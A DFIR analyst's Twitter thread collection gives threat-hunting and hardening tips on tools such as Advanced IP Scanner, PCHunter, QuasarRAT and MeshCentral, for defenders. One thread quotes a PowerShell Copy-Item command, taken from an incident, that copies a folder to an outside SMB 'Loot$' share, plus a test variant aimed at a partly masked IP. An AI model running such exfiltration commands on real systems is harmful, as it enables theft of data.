Stephan Berger Profile picture
Sep 23 4 tweets 2 min read
1/ #ThreatHunting:

In a compromised network, we saw the following request in the proxy logs:

www.advanced-ip-scanner[.]com/checkupdate.php?[..]

This scanner is trendy among ransomware groups and has been mentioned in reports by @TheDFIRReport, among others. [1] 🧵
2/ This HTTP request can now be used very well for an alert.

Or better, collect and monitor all your DNS logs, because a DNS request will still go out if the Advanced IP Scanner is run without an installation (portable version).

An excellent opportunity for detection.
3/ You can see the DNS request for the domain www.advanced-ip-scanner[.]com below.
4/ DFIR Tip:

Inside the registry (HKCU\Software\Famatech\advanced_ip_scanner\State) we can find interesting forensic artifacts like the last scanned range. 🕵️‍♀️

Reference:
[1]

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More from @malmoeb

Sep 23
1/ #ThreatHunting:

In a compromised network, the TA used PCHunter on different systems to disable the local AV (or at least tried it).

In the web requests recorded on the firewall, we found traces of the download:
www.epoolsoft[.]com/pchunter/pchunter_free

🧵 #CyberSecurity
2/ @CrowdStrike also mentioned PCHUnter in the latest ThreatHunting report, along with GMER.

go.crowdstrike.com/rs/281-OBQ-266… Image
3/ I have tweeted about two of these tools (PCHunter / GMER) before, and we also see these two products regularly in our IR cases.

Read 4 tweets
Sep 17
1/ #ThreatHunting

Another one for the people who monitor PowerShell logs or command lines:

Copy-Item -Path "C:\Exfiltration" -Destination "\\X.X.X.X\Loot$" -Recurse

This exfiltration method is from a recent IR case. No need to install anything, just living off the land. 😎
2/ Of course, outgoing SMB traffic must be allowed on the firewall(s).

#Hardening: Using Velociraptor's PowerShell Hunt, we can run the following command on defined (or all) hosts on the network:

Copy-Item -Path "C:\Temp\" -Destination "\142.93.X.X\c$"
3/ On our specified endpoint on the Internet (with the
-Destination parameter), we can capture incoming SMB connections (again, if SMB is not blocked on the FW):

# tcpdump -i eth0 port 445 -nn
IP X.X.X.20.64516 > 142.93.X.X.445
Read 4 tweets
Aug 21
/1 #Hardening:

@0xdf_ finds credentials in the ConsoleHost_history.txt file in the latest walkthrough of the #HTB machine Timelapse. [1]

In our Compromise Assessments, we regularly audit the PowerShell history to find (stored) credentials in this file. 🧵

#CyberSecurity
2/ Hunting for credentials in the PowerShell history is quickly done with @Velocidex Velociraptor.

We can get the file's entire content from the hosts or search specifically for keywords within the file.
3/ The content of this file (the PowerShell history), is not only interesting for searching stored credentials in it but also an excellent forensic artifact.

In the case of a CA, we can specifically search for (older) traces of TAs (Invoke-commands, downloading of tools/code..)
Read 6 tweets
Aug 19
1/ #Hardening:

If the Windows App sideloading feature is enabled, users can also install APPX packages not originating not from the Microsoft Store, ideal for distributing malware with these packages 🤯[1],[2]

🧵 #CyberSecurity
2/ We can search our network for systems with enabled sideloading:

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock".
3/
AllowAllTrustedApps:

This value can also be set via GPO if a company wants to distribute trusted line-of-business (LOB) apps that are not from the Windows Store.

However, these apps must still have a valid certificate chain; otherwise, the app will not be loaded.
Read 5 tweets
Aug 17
1/ #ThreatHunting:

#QuasarRAT is another RAT we see from time to time in our IR cases and was also used against NATO facilities in March. [1]

We can hunt for

1⃣ The default port within the FW logs
2⃣Mutexes
3⃣User-Agent
4⃣Persistence mechanisms

🧵
2/ @qualys has published an excellent paper ("Stealthy Quasar Evolving to Lead the RAT Race") about Quasar, where the whole builder and much more are described in detail. [2]
3/ In the client builder (which creates an executable which is used for the infection), the default port is pre-configured to 4782. Image
Read 12 tweets
Aug 14
1/ #ThreatHunting

MeshCentral is another remote admin software installed by TAs we have seen in our IR cases [1].

Following is a brief introduction to the software and what forensic traces MeshCentral leaves on the network and the hosts. 🧵

#CyberSecurity
2/ For our tests, we use the hosted instance of MeshCentral.com, but the management software can also be run on a separate server, controlled by the TA.

After logging into the panel, we can download an agent for different operating systems (Windows, Mac, Linux).
3/ Before the installation or execution of the agent, the server URL is displayed under "Connection Details".

In our example, the agent connects to meshcentral.com, but another domain can be configured when the management server is self-hosted.
Read 19 tweets

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